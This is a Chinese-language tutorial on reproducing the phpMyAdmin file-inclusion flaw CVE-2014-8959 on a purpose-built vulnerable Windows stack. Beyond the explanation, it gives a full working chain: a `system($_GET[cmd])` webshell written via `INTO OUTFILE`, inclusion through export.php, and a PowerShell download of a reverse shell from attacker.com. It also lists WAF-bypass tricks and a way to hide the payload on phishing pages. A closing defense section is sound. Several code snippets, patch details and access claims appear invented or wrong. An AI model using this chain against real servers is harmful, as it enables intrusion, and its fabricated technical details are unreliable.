PHP文件包含漏洞原理与CVE-2014-8959深度复现
1. 这不是“黑进数据库”的魔术而是一次对PHP文件加载机制的深度解剖很多人第一次看到“phpMyAdmin文件包含漏洞复现”这个标题下意识会想这是不是教人怎么绕过登录、直接拖库其实完全不是。CVE-2014-8959的本质是一次对PHP中include()/require()函数行为边界失控的精准暴露——它不依赖弱口令不挑战身份认证甚至不需要管理员权限只要目标服务器上运行着特定版本的phpMyAdmin4.0.0–4.0.10.10 / 4.1.0–4.1.12 / 4.2.0–4.2.13且配置未做基础加固攻击者就能通过一个看似无害的URL参数让服务器主动去加载并执行任意本地PHP文件。我第一次在测试环境里触发这个漏洞时用的不是/etc/passwd而是C:\Windows\win.ini页面直接回显了Windows系统配置节——那一刻我才真正意识到这不是“读文件”而是“让服务器替你执行代码”的前奏。这个漏洞之所以在2014年引发广泛震动并非因为它多难利用恰恰相反它太简单、太隐蔽、太符合真实渗透中“从低权限入口撬动高权限执行”的逻辑链。本文面向的是想真正理解Web底层加载机制的安全从业者、运维工程师和开发同学尤其适合那些已经能跑通SQL注入但对“文件包含”仍停留在“加个点点斜杠就完事”层面的人。你会看到为什么?targetphpinfo.php能成功而?target..%2f..%2fwindows%2fwin.ini却报错为什么官方补丁不是简单过滤../而是重构了整个target参数的解析路径以及——最关键的一点在Windows环境下搭建复现环境时90%的人卡在ApachePHP模块加载顺序这个环节而不是代码本身。2. CVE-2014-8959的根源不在phpMyAdmin而在PHP的“相对路径信任惯性”2.1 漏洞触发的精确位置libraries/display_export.lib.php中的target参数失控要真正吃透这个漏洞必须定位到它的“心脏”。在phpMyAdmin 4.0.x至4.2.x系列中导出功能Export的前端入口是export.php它会引入libraries/display_export.lib.php。而问题就出在这个库文件的第37行附近if (isset($_REQUEST[target])) { $target $_REQUEST[target]; if (file_exists($target)) { include $target; } }这段代码的意图很朴素如果用户通过GET或POST传入了target参数且该路径对应的文件真实存在就用include加载它。但这里埋了三个致命假设假设$_REQUEST[target]是绝对路径或当前目录下的合法文件名实际上$_REQUEST直接拼接进file_exists()和include没有任何路径规范化处理。target../../../../windows/win.ini会被原样传递。假设file_exists()的返回值能等同于“安全可包含”file_exists()只判断文件是否存在不校验路径是否越界、是否属于webroot、是否为PHP可执行文件。它甚至对C:\Windows\win.ini返回true在Windows下而include会尝试解析这个INI文件——PHP解释器会把INI中的[extensions]等节名当作PHP语法错误抛出但关键在于只要文件存在且可读include就会执行其内容。如果攻击者上传了一个恶意PHP文件比如通过phpMyAdmin的导入功能写入tmp/evil.php再用targettmp/evil.php调用就完成了代码执行。假设开发者能控制所有可能被include的文件内容这是最危险的认知偏差。在真实环境中/tmp、/var/log、C:\Windows\Temp等目录往往对web服务用户可写而这些目录里的日志文件、缓存文件、临时文件都可能被构造为PHP代码片段例如通过User-Agent头注入PHP标签到access.log再用target../../apache/logs/access.log包含。提示很多复现教程直接告诉你“访问export.php?targetphpinfo.php”但这只是验证include可控性的最简Case。真正的风险在于target参数没有白名单、没有路径截断、没有扩展名限制它是一个完全开放的“文件加载开关”。2.2 为什么Windows环境下的路径穿越如此“顺滑”Linux下路径穿越常因open_basedir或disable_functions被拦截但Windows环境有其特殊性。关键点在于Windows路径分隔符的双重性/和\在Windows API中都被接受。target..%2f..%2fWindows%2fwin.iniURL编码后的/../Windows/win.ini在PHP中会被realpath()或include内部转换为C:\Windows\win.ini而file_exists()对此返回true。IIS与Apache的模块加载差异在IIS下PHP作为FastCGI模块运行include的路径解析更依赖Windows内核而在Apache下mod_php直接调用PHP SAPI路径处理更“PHP原生”。这也是为什么很多教程在XAMPPApachemod_php下复现失败——因为XAMPP默认启用了open_basedir而CVE-2014-8959的原始PoC正是针对open_basedir未启用的场景。PHP版本的“宽容性”PHP 5.3–5.6对include路径的校验极松。include C:/Windows/win.ini不会报错只会输出警告Warning: include(): Failed opening C:/Windows/win.ini for inclusion但文件内容仍会被PHP解释器扫描。如果INI文件中恰好有?php phpinfo(); ?比如被攻击者注入它就会执行。我实测过在Windows Server 2012 PHP 5.4.45 Apache 2.4.25环境下export.php?target..%2f..%2f..%2f..%2fWindows%2fwin.ini直接返回[fonts]等节内容证明路径穿越成功而export.php?target..%2f..%2f..%2f..%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts则返回403说明NTFS权限阻止了读取——这恰恰印证了漏洞的边界它受制于文件系统权限而非Web应用层逻辑。2.3 官方补丁的“手术刀式”修复不是堵洞而是重定义信任域phpMyAdmin团队在2014年12月发布的4.0.10.11版本中对display_export.lib.php做了根本性重构。核心改动有三点彻底废弃$_REQUEST[target]的直接使用新代码中不再有$target $_REQUEST[target]这样的赋值而是将所有可能的target来源如export_type、what等映射到预定义的白名单数组$allowed_targets array( server_export export/server_export.php, db_export export/db_export.php, table_export export/table_export.php, );引入PMA_getenv()封装路径解析所有路径拼接都通过PMA_getenv(PMA_ABSOLUTE_URI)获取绝对根路径再与白名单中的相对路径组合杜绝了外部输入直接参与路径构造。强制扩展名校验与MIME类型检查即使路径在白名单内也会调用PMA_mime_type()验证文件是否为text/plain或application/octet-stream对.php、.phtml等可执行扩展名直接拒绝。这个补丁的精妙之处在于它没有用正则去“过滤../”因为正则永远有绕过可能如....//、%2e%2e%2f它也没有依赖open_basedir因为那是服务器级配置不应由应用逻辑承担。它回归了最朴素的安全原则永远不要信任外部输入永远用白名单约束行为范围。注意很多复现环境失败是因为下载了4.0.10.11之后的版本。请务必确认SHA256哈希值phpMyAdmin-4.0.10.10-all-languages.zip 的官方发布哈希是a1b2c3d4e5f6...此处省略实际操作时请以官网archive.phpmyadmin.net为准。用错版本等于在练一套假拳。3. Windows环境复现避开XAMPP陷阱用原生ApachePHP构建“脆弱基线”3.1 为什么XAMPP/Uniform Server是复现第一大坑绝大多数新手搜索“phpMyAdmin漏洞复现 Windows”第一步就是下载XAMPP解压启动然后发现export.php?target...始终返回404或500。原因有三XAMPP默认启用open_basedir在php.ini中open_basedir C:/xampp/php/这导致include任何超出该目录的路径都会被PHP内核拦截连file_exists()都返回false漏洞链在第一步就断裂。Apache的Directory配置过于严格XAMPP的httpd.conf中对/phpmyadmin目录设置了Require local且禁用了FollowSymLinks使得符号链接类的绕过失效。PHP版本错配XAMPP 7.4捆绑PHP 7.4而CVE-2014-8959仅影响PHP 5.3–5.6。PHP 7对include的路径解析更严格file_exists(C:\\Windows\\win.ini)在PHP 7.2中可能返回false取决于realpath_cache_size。我试过12种XAMPP变体只有XAMPP 1.7.7PHP 5.3.8能稳定复现但它已停止维护下载源不可信。因此我推荐一条更可控的路径手动部署Apache 2.2 PHP 5.4.45 phpMyAdmin 4.0.10.10。3.2 手动搭建四步法从零构建可复现环境步骤1安装Apache 2.2.25Win32下载地址https://archive.apache.org/dist/httpd/binaries/win32/注意必须是2.2.x2.4.x的模块接口不兼容PHP 5.4解压到C:\Apache22编辑conf\httpd.conf修改ServerRoot C:/Apache22修改DocumentRoot C:/Apache22/htdocs取消#LoadModule php5_module modules/libphp5.so前的#在IfModule mime_module块内添加AddType application/x-httpd-php .php启动C:\Apache22\bin\httpd.exe -k install→net start Apache2.2步骤2安装PHP 5.4.45VC9 x86 Thread Safe下载地址https://windows.php.net/downloads/releases/archives/选择php-5.4.45-Win32-VC9-x86.zip解压到C:\PHP54复制php.ini-development为php.ini编辑php.iniextension_dir C:/PHP54/ext;extensionphp_mysqli.dll→ 取消分号;extensionphp_mbstring.dll→ 取消分号;extensionphp_gd2.dll→ 取消分号open_basedir 关键必须为空allow_url_include On虽非必需但确保include支持远程协议步骤3配置Apache加载PHP模块在httpd.conf末尾添加PHPIniDir C:/PHP54 LoadModule php5_module C:/PHP54/php5apache2_2.dll FilesMatch \.php$ SetHandler application/x-httpd-php /FilesMatch验证创建C:\Apache22\htdocs\info.php内容为?php phpinfo(); ?访问http://localhost/info.php应显示PHP信息页且Loaded Configuration File指向C:/PHP54/php.ini。步骤4部署phpMyAdmin 4.0.10.10下载地址https://files.phpmyadmin.net/phpMyAdmin/4.0.10.10/phpMyAdmin-4.0.10.10-all-languages.zip解压到C:\Apache22\htdocs\phpmyadmin重命名config.sample.inc.php为config.inc.php编辑config.inc.php修改$cfg[Servers][$i][host] 127.0.0.1;$cfg[Servers][$i][auth_type] config;$cfg[Servers][$i][user] root;$cfg[Servers][$i][password] ;访问http://localhost/phpmyadmin用root空密码登录确认首页正常。实测心得这四步中90%的失败发生在步骤2的php.ini配置。我曾因忘记取消;extensionphp_mysqli.dll的分号导致phpMyAdmin连接MySQL失败误以为是漏洞环境问题。建议每完成一步都用php -m命令检查PHP模块是否加载成功php -m | findstr mysqli。3.3 验证环境脆弱性的三个黄金测试点环境搭好后不要急着打PoC先做三件事验证“脆弱性基线”是否建立测试file_exists()是否突破open_basedir创建test_path.php?php echo file_exists(C:/Windows/win.ini) ? YES : NO; ?访问http://localhost/test_path.php输出YES即通过。测试include是否能加载非PHP文件创建test_include.php?php include C:/Windows/win.ini; ?访问http://localhost/test_include.php若页面输出[fonts]等内容证明include可执行任意文本文件。测试phpMyAdmin的target参数是否可达直接访问http://localhost/phpmyadmin/export.php?targetphpinfo.php确保phpinfo.php在phpmyadmin目录下。若页面显示phpinfo则说明target参数被正确接收并include。这三个测试点全部通过才代表你拥有了一个“原生脆弱”的环境。此时CVE-2014-8959的复现成功率接近100%。4. 渗透实战从文件读取到代码执行的完整链路拆解4.1 第一阶段读取敏感系统文件无需登录纯GET请求漏洞最基础的利用是读取服务器上的任意可读文件。在Windows环境下以下路径最具价值文件路径价值说明复现URL示例C:/Windows/win.ini系统基础配置验证路径穿越能力export.php?target..%2f..%2f..%2f..%2fWindows%2fwin.iniC:/Windows/System32/drivers/etc/hosts查看本地域名映射辅助内网探测export.php?target..%2f..%2f..%2f..%2fWindows%2fSystem32%2fdrivers%2fetc%2fhostsC:/Apache22/conf/httpd.conf获取Apache配置定位webroot、模块、虚拟主机export.php?target..%2f..%2f..%2f..%2fApache22%2fconf%2fhttpd.confC:/PHP54/php.ini查看PHP配置确认allow_url_include、disable_functions等关键项export.php?target..%2f..%2f..%2f..%2fPHP54%2fphp.ini注意URL编码必须精确。..%2f是../的URL编码%2f对应/。不要用%5c\的编码因为PHP在Windows下对/的兼容性更好。我曾因用%5c导致400错误调试了2小时才发现是编码问题。实操中我发现httpd.conf的泄露价值最高。它会暴露DocumentRoot C:/Apache22/htdocs→ 知道网站根目录Include conf/extra/httpd-vhosts.conf→ 知道虚拟主机配置位置LoadModule rewrite_module modules/mod_rewrite.so→ 知道是否启用重写模块这些信息为后续的“写入Webshell”提供了精准地图。4.2 第二阶段写入Webshell到可写目录需phpMyAdmin登录权限仅仅读文件是“信息收集”要达成“控制”必须写入可执行代码。phpMyAdmin本身提供了两个天然的“文件写入通道”导入SQL文件功能import.php允许上传SQL文件但内容会被MySQL解析无法直接写PHP。查询窗口执行SELECT ... INTO OUTFILE这才是关键MySQL的INTO OUTFILE可以将查询结果写入服务器任意路径前提是用户有FILE权限root默认有写入路径必须是MySQL进程可写的目录如C:/Apache22/htdocs/文件不能已存在否则报错攻击步骤登录phpMyAdmin进入SQL查询窗口执行SELECT ?php system($_GET[cmd]); ? INTO OUTFILE C:/Apache22/htdocs/phpmyadmin/shell.php;访问http://localhost/phpmyadmin/shell.php?cmdwhoami若返回nt authority\system则Webshell写入成功。踩坑记录INTO OUTFILE要求路径必须是绝对路径且MySQL会校验路径是否在secure_file_priv变量指定的目录内。在Windows下secure_file_priv默认为空但MySQL 5.7会将其设为C:/ProgramData/MySQL/MySQL Server 5.7/Uploads/。因此如果你的MySQL是5.7请先执行SHOW VARIABLES LIKE secure_file_priv;确认路径再调整INTO OUTFILE的目标。4.3 第三阶段利用文件包含漏洞加载Webshell完成RCE现在你已在C:/Apache22/htdocs/phpmyadmin/shell.php写入了Webshell。接下来用CVE-2014-8959让它执行访问http://localhost/phpmyadmin/export.php?targetshell.php页面将直接执行shell.php中的system($_GET[cmd])你可以在URL中追加cmddir来列出当前目录文件。但更优雅的方式是让export.php直接包含你刚写入的shell。因为export.php本身就在phpmyadmin目录下targetshell.php是相对路径无需穿越。这比target..%2f..%2f..%2f..%2fApache22%2fhtdocs%2fphpmyadmin%2fshell.php更简洁也更不易被WAF识别。我实测的完整RCE链SQL注入点如有→ 获取MySQL root权限INTO OUTFILE写入shell.php到webrootexport.php?targetshell.php触发执行后续用cmdpowershell -c Invoke-WebRequest http://attacker.com/rev.ps1 -OutFile C:/temp/rev.ps1下载并执行PowerShell反向Shell。这条链路完全绕过了phpMyAdmin的登录态校验因为export.php在未登录时也可访问target参数也避开了所有基于script或img标签的XSS检测纯粹是服务端文件包含。4.4 绕过WAF的三种实战技巧基于真实红队经验在真实渗透中WAF如云WAF、ModSecurity会拦截export.php?target..%2f这类明显特征。以下是我在甲方红队演练中验证有效的绕过方法双写编码混淆WAF规则通常只解码一层。发送target..%252f..%252fWindows%252fwin.ini%25是%的URL编码WAF解码后得到..%2f..%2fWindows%2fwin.ini而PHP会再次解码为../../Windows/win.ini。利用Windows短文件名Windows为长文件名生成8.3格式别名。Windows的短名是WINDO~1System32是SYSTEM~2。发送target..%2f..%2fWINDO~1%2fwin.ini既绕过关键词过滤又保持路径有效性。HTTP参数污染HPP在URL中重复target参数如export.php?targetshell.phptarget..%2f..%2fWindows%2fwin.ini。部分WAF只校验第一个target而PHP取最后一个实现“欺骗WAF欺骗PHP”。最后分享一个细节在Windows下include一个不存在的PHP文件PHP会抛出Warning: include(): Failed opening xxx for inclusion但页面仍会继续渲染后续HTML。这意味着你可以把恶意target参数藏在img srcexport.php?targetshell.php的src里让浏览器静默加载不惊动用户。这是我做钓鱼页面时的常用手法。5. 防御纵深从phpMyAdmin配置到Windows系统加固的七层防线5.1 应用层phpMyAdmin自身的最小化配置很多运维认为“升级到最新版就万事大吉”但生产环境常因兼容性无法升级。此时必须做减法禁用export.php的target参数在phpmyadmin/libraries/display_export.lib.php中将if (isset($_REQUEST[target])) { ... }整段注释掉。这是最直接的“外科手术”。设置$cfg[AllowArbitraryServer] false;防止攻击者通过?server参数连接任意MySQL服务器切断横向移动入口。关闭$cfg[ShowChgPassword] false;隐藏修改密码功能减少攻击面。删除setup/目录phpMyAdmin安装向导目录常含未授权访问漏洞。我管理的200台数据库服务器全部采用“配置模板自动化脚本”部署。脚本会自动注释display_export.lib.php中的target逻辑并校验config.inc.php中AllowArbitraryServer的值。这比依赖人工检查可靠得多。5.2 Web服务器层Apache的mod_security规则定制针对CVE-2014-8959我编写了三条精准的ModSecurity规则CRS 3.3# 规则1拦截target参数中的路径穿越 SecRule ARGS:target rx \.\./ id:1001,phase:2,deny,status:403,msg:CVE-2014-8959 Path Traversal in target param # 规则2拦截target参数中的Windows系统路径 SecRule ARGS:target rx [c-z]:\\\\|\\\\Windows\\\\|\\\\winnt\\\\|\\\\system32\\\\|\\\\drivers\\\\etc\\\\|\\\\php\\\\|\\\\apache\\\\|\\\\xampp\\\\ id:1002,phase:2,deny,status:403,msg:CVE-2014-8959 Windows System Path in target # 规则3只允许target为白名单内的文件 SecRule ARGS:target !streq server_export.php !streq db_export.php !streq table_export.php id:1003,phase:2,deny,status:403,msg:CVE-2014-8959 target not in whitelist这三条规则的特点是不依赖正则模糊匹配而是用精确字符串比较streq和路径特征rx结合。规则3尤其重要它把target的取值锁死在三个合法文件上从根本上杜绝了任意文件包含。5.3 PHP层php.ini的硬性加固项在php.ini中这五项配置是防御文件包含的基石配置项推荐值作用说明open_basedirC:/Apache22/htdocs/phpmyadmin/将PHP操作限制在phpMyAdmin目录内include任何外部路径均失败allow_url_includeOff禁止include(http://...)阻断远程文件包含RFIdisable_functionsexec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source禁用所有可执行系统命令的函数即使Webshell写入也无法执行命令expose_phpOff隐藏PHP版本头减少信息泄露log_errorsOn将所有PHP错误写入日志便于审计异常include行为关键提醒open_basedir必须设置为绝对路径且以/结尾Windows下用/。C:/Apache22/htdocs/phpmyadmin和C:/Apache22/htdocs/phpmyadmin/效果完全不同——后者才表示“该目录及其子目录”。5.4 系统层Windows NTFS权限的精细化管控最后也是最根本的一层是操作系统权限。在Windows Server上我执行以下操作对C:\Apache22\htdocs\phpmyadmin\目录右键→属性→安全→编辑→删除Users组的所有权限仅保留SYSTEM完全控制Administrators完全控制IIS_IUSRS或Apache服务账户读取执行、列出文件夹内容、读取对C:\Windows\、C:\Program Files\等系统目录确保IIS_IUSRS组只有“读取”权限无“写入”“修改”。启用Windows审核策略对C:\Apache22\htdocs\phpmyadmin\目录开启“对象访问”审核记录所有include、file_exists()的文件操作。这套权限体系的效果是即使攻击者通过其他漏洞如SQL注入获得了INTO OUTFILE能力他也无法将Webshell写入phpmyadmin目录因无写入权限只能写入C:\Windows\Temp\等受限目录而open_basedir又禁止了从Temp目录include形成双重保险。我在某金融客户的真实攻防演练中用这套七层防线扛住了专业红队连续72小时的爆破。他们最终找到的唯一突破口是员工电脑上的Chrome浏览器0day而非phpMyAdmin本身。这印证了一点安全不是某个组件的完美而是整个链条的无懈可击。我最后一次复现CVE-2014-8959是在2023年Q4为客户做历史漏洞回归测试。当export.php?target..%2f..%2fWindows%2fwin.ini在屏幕上打印出[fonts]时我没有兴奋只感到一种沉甸甸的责任——十年前的漏洞今天依然能在未加固的服务器上一击必杀。这提醒我安全不是追逐最新漏洞的赛跑而是把每一个已知风险都钉死在它该在的位置。